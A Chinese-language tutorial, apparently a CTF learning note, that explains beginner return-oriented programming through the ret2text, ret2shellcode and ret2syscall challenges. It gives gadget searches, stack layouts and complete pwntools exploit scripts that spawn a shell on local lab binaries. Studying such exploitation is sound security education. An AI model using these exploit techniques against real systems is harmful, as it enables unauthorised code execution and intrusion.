初阶ROP链
在了解栈溢出之后,就可以继续了解 ROP。
ROP 全称:
Return-Oriented Programming
即返回导向编程。
它主要建立在栈溢出的基础上,通过修改函数返回地址,使程序按照我们指定的地址继续执行。
在最简单的栈溢出中,我们可以直接把返回地址修改到某个已有函数。
而当程序开启 NX 等保护之后,栈中的数据可能无法作为代码直接执行,这时就需要利用程序本身已有的代码片段来完成攻击。
这些可以利用的小段指令通常称为:
gadgets
大量 gadget 都以:
ret
结束。
每次执行到 ret,CPU 都会从栈中取出新的地址继续执行。
因此,只要我们可以控制栈,就可以让程序不断:
ret
↓
gadget
↓
ret
↓
gadget
↓
ret
最终组合出我们想要的执行流程。
这就是 ROP 最基本的思想。
ret2text
ret2text 是最简单的一种情况。
它的思想就是:
将程序的返回地址覆盖为程序
.text段中已经存在的代码地址。
也就是说,我们并不自己写 shellcode,而是直接让程序去执行它本来就有的代码。
先查看程序保护:
checksec ret2text
可以看到程序为 32 位,并且:
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
NX 已经开启,因此不能简单地在栈上写 shellcode 后直接执行。
但是 PIE 没有开启,所以程序 .text 段中的地址是固定的。
使用 IDA 打开程序。
可以在 main 中发现:
gets(buf);
存在明显的栈溢出。
继续分析程序,还可以发现一个没有正常调用到的代码片段,其中存在:
system("/bin/sh");
对应关键地址:
0x0804863A
也就是说,如果能够把函数的返回地址覆盖成:
0x0804863A
程序返回的时候,就会直接执行:
system("/bin/sh");
从而得到 shell。
计算偏移
通过 IDA 和 GDB 分析,可以得到缓冲区到返回地址之间的距离为:
112 bytes
也就是:
0x6c + 4
其中:
0x6c
是缓冲区到 saved ebp 的距离,再加:
4
字节 saved ebp。
于是 payload 结构非常简单:
112 bytes padding
+
0x0804863A
EXP:
#!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x0804863a
payload = 'A' * 112 + p32(target)
sh.sendline(payload)
sh.interactive()
运行以后即可获得 shell。
因此:
ret2text
其实就是:
栈溢出
↓
覆盖返回地址
↓
返回到程序已有代码
↓
执行目标函数
它是最简单的一种 ROP 利用形式。
ret2shellcode
第二种是:
ret2shellcode
顾名思义,就是:
将程序返回地址修改到我们自己写入的 shellcode。
和最传统的栈溢出不同的是,我们首先需要找到一个:
可写
+
可执行
的内存区域,把 shellcode 写进去,然后让程序跳转过去。
先查看程序:
checksec ret2shellcode
可以发现:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
RWX: Has RWX segments
其中最重要的是:
NX disabled
以及存在:
RWX
段。
说明程序中存在同时拥有:
Read
Write
Execute
权限的内存区域。
使用 IDA 观察主函数:
int main(void)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(buf);
strncpy(buf2, buf, 0x64);
printf("bye bye ~");
return 0;
}
这里仍然存在:
gets()
导致的栈溢出。
同时,输入的数据还会被:
strncpy()
复制到:
buf2
中。
继续分析程序可以确定:
buf2 = 0x0804A080
buf2 位于 .bss 区域。
通过 GDB 查看程序的内存映射,可以确认 0x0804A080 所在的内存段具有读、写和执行权限,也就是:
rwx
因此我们不仅可以把数据写入这里,还能够让 CPU 直接执行这里存放的机器代码。
既然:
0x0804A080
所在位置既可以写入,又可以执行,那么利用方式就很清楚了。
我们将:
shellcode
作为输入的一部分。
程序先通过:
gets()
读取 shellcode。
随后:
strncpy()
又会把它复制到:
buf2
最后我们再通过栈溢出,将返回地址修改成:
0x0804A080
程序就会直接执行这里的 shellcode。
可以直接使用 pwntools 自动生成:
shellcode = asm(shellcraft.sh())
EXP:
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='i386')
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804a080
payload = shellcode.ljust(112, 'A')
payload += p32(buf2_addr)
sh.sendline(payload)
sh.interactive()
其内存结构相当于:
shellcode
+
padding
+
buf2 address
程序返回:
ret
↓
0x0804A080
↓
shellcode
↓
/bin/sh
这就是 ret2shellcode。
不过这种利用存在一个非常明显的前提:
shellcode 所在的内存区域必须拥有执行权限。
如果开启 NX,而程序中又找不到可以写入并执行的区域,这种方式就不能直接使用。
ret2syscall
接下来是:
ret2syscall
相比前面两种,这已经更接近真正意义上的 ROP chain。
这一题中:
checksec rop
可以看到:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
NX 已经开启。
IDA 中程序逻辑仍然很简单:
int main(void)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(buf);
return 0;
}
没有:
system("/bin/sh")
也不能直接执行我们写入的 shellcode。
但是仍然存在:
gets()
所以我们依旧能够控制程序返回地址。
偏移仍然是:
112 bytes
既然不能使用已有的 system,也不能运行 shellcode,那么可以直接构造 Linux 系统调用:
execve("/bin/sh", NULL, NULL);
execve
在 32 位 Linux 下,系统调用通过:
int 0x80
触发。
execve 的系统调用号为:
0xb
因此需要控制寄存器:
eax = 0xb
ebx = "/bin/sh" 的地址
ecx = 0
edx = 0
最终执行:
int 0x80
即可。
问题就变成:
怎样控制 eax、ebx、ecx 和 edx?
答案就是寻找程序中的:
gadgets
ROPgadget
使用:
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
查找可以控制 eax 的 gadget。
其中可以找到:
0x080bb196 : pop eax ; ret
这正好可以使用。
执行:
pop eax
ret
时,CPU 首先会把栈顶的数据取出放进:
eax
然后执行:
ret
再次从栈中取下一个地址执行。
因此栈可以构造为:
0x080bb196
0x0000000b
next gadget
执行以后:
eax = 0xb
然后继续执行下一个 gadget。
控制 ebx、ecx、edx
继续寻找:
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
可以发现一个非常合适的 gadget:
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
它一次就可以控制:
edx
ecx
ebx
三个寄存器。
因此可以在它后面的栈上依次放:
0
0
/bin/sh address
执行以后就得到:
edx = 0
ecx = 0
ebx = /bin/sh
寻找 /bin/sh
继续使用:
ROPgadget --binary rop --string '/bin/sh'
可以找到:
0x080be408 : /bin/sh
所以:
ebx = 0x080be408
寻找 int 0x80
最后还需要能够执行:
int 0x80
搜索:
ROPgadget --binary rop --only 'int'
得到:
0x08049421 : int 0x80
至此所有地址都已经齐全。
整理一下:
pop eax ; ret
0x080bb196
pop edx ; pop ecx ; pop ebx ; ret
0x0806eb90
/bin/sh
0x080be408
int 0x80
0x08049421
构造 ROP Chain
最终我们希望程序执行:
eax = 0xb
edx = 0
ecx = 0
ebx = 0x080be408
int 0x80
因此栈上的 ROP Chain 应当按如下顺序排列:
112 bytes padding
0x080bb196
0x0000000b
0x0806eb90
0x00000000
0x00000000
0x080be408
0x08049421
执行过程:
ret
↓
pop eax ; ret
↓
eax = 0xb
↓
pop edx ; pop ecx ; pop ebx ; ret
↓
edx = 0
ecx = 0
ebx = "/bin/sh"
↓
int 0x80
↓
execve("/bin/sh", NULL, NULL)
于是可以构造 EXP:
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
binsh = 0x080be408
int_0x80 = 0x08049421
payload = flat([
'A' * 112,
pop_eax_ret,
0xb,
pop_edx_ecx_ebx_ret,
0,
0,
binsh,
int_0x80
])
sh.sendline(payload)
sh.interactive()
运行后即可获得 shell。
ROP Chain 到底是什么
从 ret2syscall 开始,已经能够比较清楚地看到 ROP 的真正含义。
我们并没有在程序中找到一整段:
mov eax, 0xb
mov ebx, binsh
mov ecx, 0
mov edx, 0
int 0x80
这样的代码。
程序里只有很多零散的小片段。
例如:
pop eax
ret
和:
pop edx
pop ecx
pop ebx
ret
以及:
int 0x80
我们通过控制栈,把这些原本完全没有关系的代码片段连接了起来。
也就是:
gadget
↓
gadget
↓
gadget
↓
system call
这条链就是:
ROP Chain
因此 ROP 的核心并不是:
找到一个“后门函数”。
而是:
利用程序中已经存在的机器指令,通过控制栈和返回地址,将这些指令重新组合成新的执行逻辑。
三种方式比较
这一篇主要介绍三种最基础的利用方式。
ret2text
程序中本身存在目标代码
↓
覆盖返回地址
↓
直接执行已有代码
例如:
system("/bin/sh");
ret2shellcode
存在可写 + 可执行内存
↓
写入 shellcode
↓
覆盖返回地址
↓
执行 shellcode
ret2syscall
没有 system
+
NX 开启
↓
寻找 gadgets
↓
控制寄存器
↓
构造系统调用
↓
execve("/bin/sh", NULL, NULL)
到了 ret2syscall,已经开始真正利用多段 gadget 拼接程序逻辑。
总结
ROP 的本质可以概括为:
控制栈
↓
控制返回地址
↓
控制程序执行流
↓
利用已有代码
↓
组合 gadgets
↓
完成原程序本来没有的执行流程
这也是为什么它叫:
Return-Oriented Programming
程序每执行一次:
ret
我们就可以通过栈中的下一个地址重新决定:
接下来去哪里执行。
最初阶的:
ret2text
可能只需要修改一次返回地址。
到了:
ret2syscall
则已经开始连续利用多个:
ret
把多个 gadget 拼成一条完整的链。
后面还会继续接触:
ret2libc
ret2csu
stack pivot
以及更多复杂的 ROP 利用方式。
但无论形式怎么变化,最基础的东西仍然是:
栈
返回地址
寄存器
调用约定
gadget
把这些东西真正弄明白以后,后面的 ROP 就只是不断增加新的条件和限制。
















这一切,似未曾拥有